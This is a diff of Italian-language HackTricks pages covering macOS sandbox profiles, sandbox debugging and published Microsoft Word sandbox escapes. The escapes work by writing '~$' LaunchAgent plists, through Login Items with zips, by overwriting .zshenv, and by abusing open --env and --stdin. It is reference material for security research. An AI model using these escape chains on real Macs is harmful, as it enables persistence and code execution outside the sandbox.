``` {% hint style="warning" %} -Tutto ciò che viene creato/modificato da un'applicazione Sandbox avrà l'attributo **quarantine**. Questo impedirà uno spazio sandbox attivando Gatekeeper se l'app sandbox prova ad eseguire qualcosa con **`open`**. +Tutto ciò che viene creato/modificato da un'applicazione in Sandbox riceverà l'**attributo di quarantena**. Questo impedirà a uno spazio sandbox di attivare Gatekeeper se l'app sandbox tenta di eseguire qualcosa con **`open`**. {% endhint %} ### Profili Sandbox -I profili Sandbox sono file di configurazione che indicano cosa è **permesso/vietato** in quella **Sandbox**. Utilizzano il **Sandbox Profile Language (SBPL)**, che utilizza il linguaggio di programmazione [**Scheme**](https://en.wikipedia.org/wiki/Scheme\_\(programming\_language\)). +I profili Sandbox sono file di configurazione che indicano cosa sarà **consentito/vietato** in quel **Sandbox**. Utilizza il **Sandbox Profile Language (SBPL)**, che utilizza il linguaggio di programmazione [**Scheme**](https://en.wikipedia.org/wiki/Scheme\_\(programming\_language\)). Qui puoi trovare un esempio: ```scheme @@ -140,26 +141,28 @@ Qui puoi trovare un esempio: ) ``` {% hint style="success" %} -Controlla questa [**ricerca**](https://reverse.put.as/2011/09/14/apple-sandbox-guide-v1-0/) **per controllare altre azioni che potrebbero essere consentite o negate.** +Controlla questa [**ricerca**](https://reverse.put.as/2011/09/14/apple-sandbox-guide-v1-0/) **per verificare ulteriori azioni che potrebbero essere consentite o negate.** {% endhint %} -Importanti **servizi di sistema** vengono eseguiti all'interno del proprio **sandbox personalizzato**, come ad esempio il servizio `mdnsresponder`. Puoi visualizzare questi **profilo sandbox personalizzati** all'interno di: +I **servizi di sistema** importanti vengono eseguiti anche all'interno del proprio **sandbox** personalizzato, come il servizio `mdnsresponder`. Puoi visualizzare questi **profili sandbox** personalizzati all'interno di: * **`/usr/share/sandbox`** * **`/System/Library/Sandbox/Profiles`** * Altri profili sandbox possono essere controllati su [https://github.com/s7ephen/OSX-Sandbox--Seatbelt--Profiles](https://github.com/s7ephen/OSX-Sandbox--Seatbelt--Profiles). -Le app **App Store** utilizzano il **profilo** **`/System/Library/Sandbox/Profiles/application.sb`**. Puoi controllare in questo profilo come i privilegi come **`com.apple.security.network.server`** consentono a un processo di utilizzare la rete. +Le app dell'**App Store** utilizzano il **profilo** **`/System/Library/Sandbox/Profiles/application.sb`**. Puoi controllare in questo profilo come i diritti, come **`com.apple.security.network.server`**, consentono a un processo di utilizzare la rete. SIP è un profilo Sandbox chiamato platform\_profile in /System/Library/Sandbox/rootless.conf -### Esempi di Profili Sandbox +### Esempi di profili Sandbox -Per avviare un'applicazione con un **profilo sandbox specifico** puoi utilizzare: +Per avviare un'applicazione con un **profilo sandbox specifico** puoi usare: ```bash sandbox-exec -f example.sb /Path/To/The/Application ``` -Il file touch.sb è un file di politica del sandbox di macOS che definisce le restrizioni di accesso per l'applicazione touch. Questo file specifica le autorizzazioni di accesso ai file e alle risorse di sistema che l'applicazione touch può utilizzare all'interno del sandbox. +{% tabs %} +{% tab title="touch" %} +{% code title="touch.sb" %} ```scheme (version 1) (deny default) @@ -192,6 +195,8 @@ log show --style syslog --predicate 'eventMessage contains[c] "sandbox"' --last ; 2023-05-26 13:44:59.840050+0200 localhost kernel[0]: (Sandbox) Sandbox: touch(41575) deny(1) sysctl-read kern.bootargs ; 2023-05-26 13:44:59.840061+0200 localhost kernel[0]: (Sandbox) Sandbox: touch(41575) deny(1) file-read-data / ``` +{% endcode %} + {% code title="touch3.sb" %} ```scheme (version 1) @@ -206,7 +211,7 @@ log show --style syslog --predicate 'eventMessage contains[c] "sandbox"' --last {% endtabs %} {% hint style="info" %} -Si noti che il **software** **sviluppato da Apple** che viene eseguito su **Windows** **non ha ulteriori precauzioni di sicurezza**, come l'applicazione del sandbox. +Nota che il **software** **autorizzato da Apple** che gira su **Windows** **non ha precauzioni di sicurezza aggiuntive**, come il sandboxing delle applicazioni. {% endhint %} Esempi di bypass: @@ -214,42 +219,42 @@ Esempi di bypass: * [https://lapcatsoftware.com/articles/sandbox-escape.html](https://lapcatsoftware.com/articles/sandbox-escape.html) * [https://desi-jarvis.medium.com/office365-macos-sandbox-escape-fcce4fa4123c](https://desi-jarvis.medium.com/office365-macos-sandbox-escape-fcce4fa4123c) (sono in grado di scrivere file al di fuori del sandbox il cui nome inizia con `~$`). -### Profili di sandbox di MacOS +### Profili Sandbox di MacOS macOS memorizza i profili di sandbox di sistema in due posizioni: **/usr/share/sandbox/** e **/System/Library/Sandbox/Profiles**. -E se un'applicazione di terze parti ha l'abilitazione _**com.apple.security.app-sandbox**_, il sistema applica il profilo **/System/Library/Sandbox/Profiles/application.sb** a quel processo. +E se un'applicazione di terze parti possiede il diritto _**com.apple.security.app-sandbox**_, il sistema applica il profilo **/System/Library/Sandbox/Profiles/application.sb** a quel processo. -### **Profilo di sandbox di iOS** +### **Profilo Sandbox di iOS** -Il profilo predefinito si chiama **container** e non abbiamo la rappresentazione testuale SBPL. In memoria, questa sandbox è rappresentata come un albero binario di autorizzazioni Allow/Deny per ogni permesso della sandbox. +Il profilo predefinito si chiama **container** e non abbiamo la rappresentazione testuale SBPL. In memoria, questo sandbox è rappresentato come un albero binario Allow/Deny per ciascuna autorizzazione del sandbox. -### Debug e bypass del sandbox +### Debug & Bypass Sandbox -Su macOS, a differenza di iOS dove i processi sono sandboxati fin dall'inizio dal kernel, **i processi devono scegliere di aderire al sandbox da soli**. Ciò significa che su macOS, un processo non è limitato dal sandbox fino a quando non decide attivamente di entrarvi. +Su macOS, a differenza di iOS dove i processi sono sandboxati fin dall'inizio dal kernel, **i processi devono optare per il sandboxing da soli**. Questo significa che su macOS, un processo non è limitato dal sandbox fino a quando non decide attivamente di entrarvi. -I processi vengono automaticamente sandboxati da userland quando vengono avviati se hanno l'abilitazione: `com.apple.security.app-sandbox`. Per una spiegazione dettagliata di questo processo, controlla: +I processi vengono automaticamente sandboxati dal userland quando iniziano se hanno il diritto: `com.apple.security.app-sandbox`. Per una spiegazione dettagliata di questo processo controlla: {% content-ref url="macos-sandbox-debug-and-bypass/" %} [macos-sandbox-debug-and-bypass](macos-sandbox-debug-and-bypass/) {% endcontent-ref %} -### **Verifica dei privilegi PID** +### **Controlla i privilegi PID** -[**Secondo questo**](https://www.youtube.com/watch?v=mG715HcDgO8\&t=3011s), il **`sandbox_check`** (è una `__mac_syscall`), può verificare **se un'operazione è consentita o meno** dal sandbox in un determinato PID. +[**Secondo questo**](https://www.youtube.com/watch?v=mG715HcDgO8\&t=3011s), il **`sandbox_check`** (è un `__mac_syscall`), può controllare **se un'operazione è consentita o meno** dal sandbox in un certo PID. -Lo [**strumento sbtool**](http://newosxbook.com/src.jl?tree=listings\&file=sbtool.c) può verificare se un PID può eseguire una determinata azione: +Il [**tool sbtool**](http://newosxbook.com/src.jl?tree=listings\&file=sbtool.c) può controllare se un PID può eseguire una certa azione: ```bash sbtool mach #Check mac-ports (got from launchd with an api) sbtool file /tmp #Check file access sbtool inspect #Gives you an explaination of the sandbox profile sbtool all ``` -### Profili SBPL personalizzati nelle app dell'App Store +### Custom SBPL nelle app dell'App Store -Potrebbe essere possibile per le aziende far eseguire le loro app con **profili Sandbox personalizzati** (invece di quelli predefiniti). Devono utilizzare il privilegio **`com.apple.security.temporary-exception.sbpl`** che deve essere autorizzato da Apple. +Potrebbe essere possibile per le aziende far funzionare le loro app **con profili Sandbox personalizzati** (invece di quello predefinito). Devono utilizzare il diritto **`com.apple.security.temporary-exception.sbpl`** che deve essere autorizzato da Apple. -È possibile verificare la definizione di questo privilegio in **`/System/Library/Sandbox/Profiles/application.sb:`** +È possibile controllare la definizione di questo diritto in **`/System/Library/Sandbox/Profiles/application.sb:`** ```scheme (sandbox-array-entitlement "com.apple.security.temporary-exception.sbpl" @@ -257,18 +262,19 @@ Potrebbe essere possibile per le aziende far eseguire le loro app con **profili (let* ((port (open-input-string string)) (sbpl (read port))) (with-transparent-redirection (eval sbpl))))) ``` -Questo **valuterà la stringa dopo questo privilegio** come un profilo Sandbox. +Questo **valuterà la stringa dopo questo diritto** come un profilo Sandbox. + +{% hint style="success" %} +Impara e pratica il hacking AWS:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +Impara e pratica il hacking GCP: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
-Impara l'hacking di AWS da zero a esperto con htARTE (HackTricks AWS Red Team Expert)! +Supporta HackTricks -Altri modi per supportare HackTricks: - -* Se vuoi vedere la tua **azienda pubblicizzata su HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)! -* Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com) -* Scopri [**The PEASS Family**](https://opensea.io/collection/the-peass-family), la nostra collezione di esclusive [**NFT**](https://opensea.io/collection/the-peass-family) -* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo Telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -* **Condividi i tuoi trucchi di hacking inviando PR ai repository github di** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud). +* Controlla i [**piani di abbonamento**](https://github.com/sponsors/carlospolop)! +* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** +* **Condividi trucchi di hacking inviando PR ai** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos su github.
+{% endhint %} diff --git a/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-sandbox/macos-default-sandbox-debug.md b/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-sandbox/macos-default-sandbox-debug.md index 10a88214e..4b972386d 100644 --- a/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-sandbox/macos-default-sandbox-debug.md +++ b/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-sandbox/macos-default-sandbox-debug.md @@ -1,20 +1,21 @@ # macOS Default Sandbox Debug +{% hint style="success" %} +Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) +
-Impara l'hacking di AWS da zero a esperto con htARTE (HackTricks AWS Red Team Expert)! +Support HackTricks -Altri modi per supportare HackTricks: - -* Se vuoi vedere la tua **azienda pubblicizzata su HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PACCHETTI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)! -* Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com) -* Scopri [**The PEASS Family**](https://opensea.io/collection/the-peass-family), la nostra collezione di [**NFT**](https://opensea.io/collection/the-peass-family) esclusivi -* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo Telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** -* **Condividi i tuoi trucchi di hacking inviando PR ai repository github di** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud). +* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)! +* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** +* **Condividi trucchi di hacking inviando PR ai** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos su github.
+{% endhint %} -In questa pagina puoi trovare come creare un'applicazione per eseguire comandi arbitrari all'interno del sandbox predefinito di macOS: +In questa pagina puoi trovare come creare un'app per lanciare comandi arbitrari dall'interno della sandbox predefinita di macOS: 1. Compila l'applicazione: @@ -52,8 +53,7 @@ return 0; Compilalo eseguendo: `clang -framework Foundation -o SandboxedShellApp main.m` -2. Costruisci il bundle `.app` - +2. Crea il pacchetto `.app` ```bash mkdir -p SandboxedShellApp.app/Contents/MacOS mv SandboxedShellApp SandboxedShellApp.app/Contents/MacOS/ @@ -75,8 +75,7 @@ cat << EOF > SandboxedShellApp.app/Contents/Info.plist EOF ``` - -3. Definire i privilegi +3. Definire i diritti {% tabs %} {% tab title="sandbox" %} @@ -92,32 +91,9 @@ cat << EOF > entitlements.plist EOF ``` +{% endtab %} -## macOS Sandbox - -Il sandbox di macOS è un meccanismo di sicurezza che limita le azioni che un'applicazione può eseguire sul sistema operativo. Questo meccanismo è progettato per proteggere il sistema da applicazioni dannose o non attendibili. - -### Protezioni predefinite del sandbox - -Quando un'applicazione viene eseguita all'interno del sandbox di macOS, viene automaticamente limitata nelle sue azioni. Alcune delle protezioni predefinite del sandbox includono: - -* Accesso limitato ai file e alle cartelle del sistema -* Limitazioni sulle comunicazioni di rete -* Limitazioni sull'accesso all'hardware del sistema -* Limitazioni sull'accesso alle risorse del sistema, come la fotocamera o il microfono - -### Debug del sandbox predefinito - -Il sandbox predefinito di macOS è progettato per essere sicuro e limitare le azioni delle applicazioni. Tuttavia, è possibile che alcune applicazioni richiedano funzionalità aggiuntive che non sono consentite dal sandbox predefinito. In questi casi, è possibile abilitare il debug del sandbox predefinito per consentire l'accesso a queste funzionalità aggiuntive. - -Il debug del sandbox predefinito può essere abilitato utilizzando il comando `sandbox-exec`. Questo comando consente di specificare un profilo di sandbox personalizzato che definisce le azioni consentite per un'applicazione specifica. - -### Download all'interno del sandbox - -Quando un'applicazione viene eseguita all'interno del sandbox di macOS, il download di file può essere limitato. Il sandbox predefinito di macOS consente solo il download di file in determinate posizioni, come la cartella "Downloads" dell'utente corrente. - -Se un'applicazione richiede di scaricare file in una posizione diversa, è possibile abilitare il debug del sandbox predefinito e specificare un profilo di sandbox personalizzato che consenta il download in una posizione specifica. - +{% tab title="sandbox + downloads" %} ```bash cat << EOF > entitlements.plist @@ -135,8 +111,7 @@ EOF {% endtab %} {% endtabs %} -4. Firma l'app (è necessario creare un certificato nel portachiavi) - +4. Firma l'app (devi creare un certificato nel portachiavi) ```bash codesign --entitlements entitlements.plist -s "YourIdentity" SandboxedShellApp.app ./SandboxedShellApp.app/Contents/MacOS/SandboxedShellApp @@ -144,17 +119,17 @@ codesign --entitlements entitlements.plist -s "YourIdentity" SandboxedShellApp.a # An d in case you need this in the future codesign --remove-signature SandboxedShellApp.app ``` +{% hint style="success" %} +Impara e pratica il hacking AWS:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +Impara e pratica il hacking GCP: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
-Impara l'hacking di AWS da zero a eroe con htARTE (HackTricks AWS Red Team Expert)! +Supporta HackTricks -Altri modi per supportare HackTricks: - -* Se vuoi vedere la tua **azienda pubblicizzata su HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)! -* Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com) -* Scopri [**The PEASS Family**](https://opensea.io/collection/the-peass-family), la nostra collezione di [**NFT**](https://opensea.io/collection/the-peass-family) esclusivi -* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo Telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** -* **Condividi i tuoi trucchi di hacking inviando PR ai repository github di** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud). +* Controlla i [**piani di abbonamento**](https://github.com/sponsors/carlospolop)! +* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** +* **Condividi trucchi di hacking inviando PR ai** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repository su github.
+{% endhint %} diff --git a/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-sandbox/macos-sandbox-debug-and-bypass/macos-office-sandbox-bypasses.md b/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-sandbox/macos-sandbox-debug-and-bypass/macos-office-sandbox-bypasses.md index f79e03ce7..efa4fd820 100644 --- a/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-sandbox/macos-sandbox-debug-and-bypass/macos-office-sandbox-bypasses.md +++ b/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-sandbox/macos-sandbox-debug-and-bypass/macos-office-sandbox-bypasses.md @@ -1,76 +1,78 @@ -# Bypass del Sandbox di macOS Office +# macOS Office Sandbox Bypasses + +{% hint style="success" %} +Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
-Impara l'hacking di AWS da zero a esperto con htARTE (HackTricks AWS Red Team Expert)! +Support HackTricks -Altri modi per supportare HackTricks: - -* Se vuoi vedere la tua **azienda pubblicizzata su HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PACCHETTI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)! -* Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com) -* Scopri [**The PEASS Family**](https://opensea.io/collection/the-peass-family), la nostra collezione di [**NFT**](https://opensea.io/collection/the-peass-family) esclusivi -* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo Telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -* **Condividi i tuoi trucchi di hacking inviando PR ai repository GitHub di** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud). +* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)! +* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** +* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
+{% endhint %} -### Bypass del Sandbox di Word tramite Launch Agents +### Bypass della Sandbox di Word tramite Launch Agents -L'applicazione utilizza un **Sandbox personalizzato** utilizzando l'entitlement **`com.apple.security.temporary-exception.sbpl`** e questo Sandbox personalizzato consente di scrivere file ovunque purché il nome del file inizi con `~$`: `(require-any (require-all (vnode-type REGULAR-FILE) (regex #"(^|/)~$[^/]+$")))` +L'applicazione utilizza una **Sandbox personalizzata** usando il diritto **`com.apple.security.temporary-exception.sbpl`** e questa sandbox personalizzata consente di scrivere file ovunque purché il nome del file inizi con `~$`: `(require-any (require-all (vnode-type REGULAR-FILE) (regex #"(^|/)~$[^/]+$")))` -Pertanto, l'escape è stato semplice come **scrivere un file `plist`** LaunchAgent in `~/Library/LaunchAgents/~$escape.plist`. +Pertanto, l'escape era facile come **scrivere un `plist`** LaunchAgent in `~/Library/LaunchAgents/~$escape.plist`. -Controlla il [**rapporto originale qui**](https://www.mdsec.co.uk/2018/08/escaping-the-sandbox-microsoft-office-on-macos/). +Controlla il [**report originale qui**](https://www.mdsec.co.uk/2018/08/escaping-the-sandbox-microsoft-office-on-macos/). -### Bypass del Sandbox di Word tramite Login Items e zip +### Bypass della Sandbox di Word tramite Login Items e zip Ricorda che dal primo escape, Word può scrivere file arbitrari il cui nome inizia con `~$`, anche se dopo la patch della vulnerabilità precedente non era possibile scrivere in `/Library/Application Scripts` o in `/Library/LaunchAgents`. -È stato scoperto che all'interno del sandbox è possibile creare un **Login Item** (applicazioni che verranno eseguite quando l'utente accede). Tuttavia, queste app **non verranno eseguite** a meno che non siano **notarizzate** e non è possibile aggiungere argomenti (quindi non è possibile eseguire una reverse shell usando **`bash`**). +È stato scoperto che dall'interno della sandbox è possibile creare un **Login Item** (app che verranno eseguite quando l'utente accede). Tuttavia, queste app **non verranno eseguite a meno che** non siano **notarizzate** e **non è possibile aggiungere argomenti** (quindi non puoi semplicemente eseguire una reverse shell usando **`bash`**). -Dal precedente bypass del Sandbox, Microsoft ha disabilitato l'opzione di scrittura dei file in `~/Library/LaunchAgents`. Tuttavia, è stato scoperto che se si inserisce un **file zip come Login Item**, l'`Archive Utility` lo scompatterà nella sua posizione corrente. Quindi, poiché per impostazione predefinita la cartella `LaunchAgents` di `~/Library` non viene creata, è stato possibile **creare un file plist in `LaunchAgents/~$escape.plist`** e **posizionare** il file zip in **`~/Library`** in modo che, quando viene decompresso, raggiunga la destinazione di persistenza. +Dalla precedente bypass della Sandbox, Microsoft ha disabilitato l'opzione di scrivere file in `~/Library/LaunchAgents`. Tuttavia, è stato scoperto che se si mette un **file zip come Login Item**, l'`Archive Utility` semplicemente **decomprimerà** il file nella sua posizione attuale. Quindi, poiché per impostazione predefinita la cartella `LaunchAgents` di `~/Library` non viene creata, è stato possibile **zipare un plist in `LaunchAgents/~$escape.plist`** e **posizionare** il file zip in **`~/Library`** in modo che, quando viene decompresso, raggiunga la destinazione di persistenza. -Controlla il [**rapporto originale qui**](https://objective-see.org/blog/blog\_0x4B.html). +Controlla il [**report originale qui**](https://objective-see.org/blog/blog\_0x4B.html). -### Bypass del Sandbox di Word tramite Login Items e .zshenv +### Bypass della Sandbox di Word tramite Login Items e .zshenv (Ricorda che dal primo escape, Word può scrivere file arbitrari il cui nome inizia con `~$`). -Tuttavia, la tecnica precedente aveva una limitazione: se la cartella **`~/Library/LaunchAgents`** esiste perché è stata creata da un altro software, il bypass fallirebbe. Quindi è stata scoperta una catena di Login Items diversa per questo caso. +Tuttavia, la tecnica precedente aveva una limitazione, se la cartella **`~/Library/LaunchAgents`** esiste perché qualche altro software l'ha creata, fallirebbe. Quindi è stata scoperta una diversa catena di Login Items per questo. -Un attaccante potrebbe creare i file **`.bash_profile`** e **`.zshenv`** con il payload da eseguire e quindi comprimerli in un file zip e **scrivere il file zip nella cartella** dell'utente vittima: **`~/~$escape.zip`**. +Un attaccante potrebbe creare i file **`.bash_profile`** e **`.zshenv`** con il payload da eseguire e poi zipparli e **scrivere lo zip nella cartella** dell'utente vittima: **`~/~$escape.zip`**. -Successivamente, aggiungi il file zip ai **Login Items** e quindi all'app **`Terminal`**. Quando l'utente effettua nuovamente l'accesso, il file zip verrà decompresso nella cartella dell'utente, sovrascrivendo **`.bash_profile`** e **`.zshenv** e quindi il terminale eseguirà uno di questi file (a seconda se viene utilizzato bash o zsh). +Poi, aggiungere il file zip ai **Login Items** e poi all'app **`Terminal`**. Quando l'utente effettua nuovamente il login, il file zip verrebbe decompresso nella cartella dell'utente, sovrascrivendo **`.bash_profile`** e **`.zshenv`** e quindi, il terminale eseguirà uno di questi file (a seconda se viene utilizzato bash o zsh). -Controlla il [**rapporto originale qui**](https://desi-jarvis.medium.com/office365-macos-sandbox-escape-fcce4fa4123c). +Controlla il [**report originale qui**](https://desi-jarvis.medium.com/office365-macos-sandbox-escape-fcce4fa4123c). -### Bypass del Sandbox di Word con Open e variabili di ambiente +### Bypass della Sandbox di Word con Open e variabili env -Dai processi sandboxed è ancora possibile invocare altri processi utilizzando l'utilità **`open`**. Inoltre, questi processi verranno eseguiti **all'interno del proprio sandbox**. +Dai processi sandboxed è ancora possibile invocare altri processi utilizzando l'utility **`open`**. Inoltre, questi processi verranno eseguiti **all'interno della propria sandbox**. -È stato scoperto che l'utilità open ha l'opzione **`--env`** per eseguire un'app con **specifiche variabili di ambiente**. Pertanto, è stato possibile creare il file **`.zshenv`** all'interno di una cartella **all'interno** del **sandbox** e utilizzare `open` con `--env` impostando la variabile **`HOME`** su quella cartella aprendo l'app **Terminal**, che eseguirà il file `.zshenv` (per qualche motivo era anche necessario impostare la variabile `__OSINSTALL_ENVIROMENT`). +È stato scoperto che l'utility open ha l'opzione **`--env`** per eseguire un'app con **variabili env** specifiche. Pertanto, è stato possibile creare il **file `.zshenv`** all'interno di una cartella **dentro** la **sandbox** e utilizzare `open` con `--env` impostando la **variabile `HOME`** su quella cartella aprendo l'app `Terminal`, che eseguirà il file `.zshenv` (per qualche motivo era anche necessario impostare la variabile `__OSINSTALL_ENVIROMENT`). -Controlla il [**rapporto originale qui**](https://perception-point.io/blog/technical-analysis-of-cve-2021-30864/). +Controlla il [**report originale qui**](https://perception-point.io/blog/technical-analysis-of-cve-2021-30864/). -### Bypass del Sandbox di Word con Open e stdin +### Bypass della Sandbox di Word con Open e stdin -L'utilità **`open`** supporta anche il parametro **`--stdin`** (e dopo il bypass precedente non era più possibile utilizzare `--env`). +L'utility **`open`** supportava anche il parametro **`--stdin`** (e dopo il bypass precedente non era più possibile utilizzare `--env`). -Il punto è che anche se **`python`** è firmato da Apple, **non eseguirà** uno script con l'attributo **`quarantine`**. Tuttavia, era possibile passargli uno script da stdin in modo che non controllasse se era stato messo in quarantena o meno: +Il fatto è che anche se **`python`** era firmato da Apple, **non eseguirà** uno script con l'attributo **`quarantine`**. Tuttavia, era possibile passargli uno script da stdin in modo che non controllasse se fosse stato quarantinato o meno: -1. Crea un file **`~$exploit.py`** con comandi Python arbitrari. -2. Esegui _open_ **`–stdin='~$exploit.py' -a Python`**, che esegue l'app Python con il nostro file inserito come input standard. Python esegue tranquillamente il nostro codice e poiché è un processo figlio di _launchd_, non è vincolato alle regole del sandbox di Word. +1. Creare un file **`~$exploit.py`** con comandi Python arbitrari. +2. Eseguire _open_ **`–stdin='~$exploit.py' -a Python`**, che esegue l'app Python con il nostro file creato come input standard. Python esegue felicemente il nostro codice e, poiché è un processo figlio di _launchd_, non è vincolato alle regole della sandbox di Word. + +{% hint style="success" %} +Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
-Impara l'hacking di AWS da zero a esperto con htARTE (HackTricks AWS Red Team Expert)! +Support HackTricks -Altri modi per supportare HackTricks: - -* Se vuoi vedere la tua **azienda pubblicizzata su HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PACCHETTI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)! -* Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com) -* Scopri [**The PEASS Family**](https://opensea.io/collection/the-peass-family), la nostra collezione di [**NFT**](https://opensea.io/collection/the-peass-family) esclusivi -* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo Telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -* **Condividi i tuoi trucchi di hacking inviando PR ai repository GitHub di** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud). +* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)! +* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** +* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
+{% endhint %} diff --git a/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-tcc/macos-tcc-bypasses/macos-apple-scripts.md b/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-tcc/macos-tcc-bypasses/macos-apple-scripts.md index b135b55b7..3ec703f72 100644 --- a/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-tcc/macos-tcc-bypasses/macos-apple-scripts.md +++ b/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-tcc/macos-tcc-bypasses/macos-apple-scripts.md @@ -1,54 +1,56 @@ -# Apple Scripts di macOS +# macOS Apple Scripts + +{% hint style="success" %} +Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
